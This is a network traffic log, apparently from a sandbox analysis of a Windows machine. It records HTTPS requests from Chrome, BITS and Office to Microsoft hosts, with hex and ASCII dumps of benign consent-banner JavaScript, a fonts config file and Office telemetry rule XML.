2024-11-23 14:37:45 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-11-23 14:37:46 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-11-23 14:37:46 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49785	13.107.246.63	443	7204	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:45 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 14:37:45 UTC	713	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:45 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 27131 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 3774b461-701e-003c-4476-3de918000000 x-ms-version: 2009-09-19 x-azure-ref: 20241123T143745Z-178bfbc474bpscmfhC1NYCfc2c000000032g00000000mw3t Accept-Ranges: bytes
2024-11-23 14:37:45 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-23 14:37:45 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-23 14:37:45 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-23 14:37:45 UTC	4278	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49787	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:45 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 14:37:46 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=240923 Date: Sat, 23 Nov 2024 14:37:46 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 14:37:46 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:45 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:46 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 79b51860-701e-0021-623a-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143746Z-174c587ffdf8lw6dhC1TEBkgs800000002yg00000000n1hs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:46 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:46 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:46 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4ec76ea5-a01e-006f-014e-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143746Z-178bfbc474bv587zhC1NYCny5w00000004bg00000000hhcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:46 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:46 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2b57feed-101e-0028-5221-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143747Z-178bfbc474bv7whqhC1NYC1fg400000004ng000000005g2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:46 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:47 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143747Z-174c587ffdfp4vpjhC1TEBybqw000000035g000000000eyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:47 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:46 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:47 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 38a668eb-401e-00ac-34a1-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143747Z-15b8b599d88hd9g7hC1TEBp75c000000030g00000000axvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:47 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49796	13.107.246.63	443	7204	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:48 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 14:37:48 UTC	713	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:48 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 27134 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 3774b461-701e-003c-4476-3de918000000 x-ms-version: 2009-09-19 x-azure-ref: 20241123T143748Z-15b8b599d88m7pn7hC1TEB4axw00000003600000000041y0 Accept-Ranges: bytes
2024-11-23 14:37:48 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
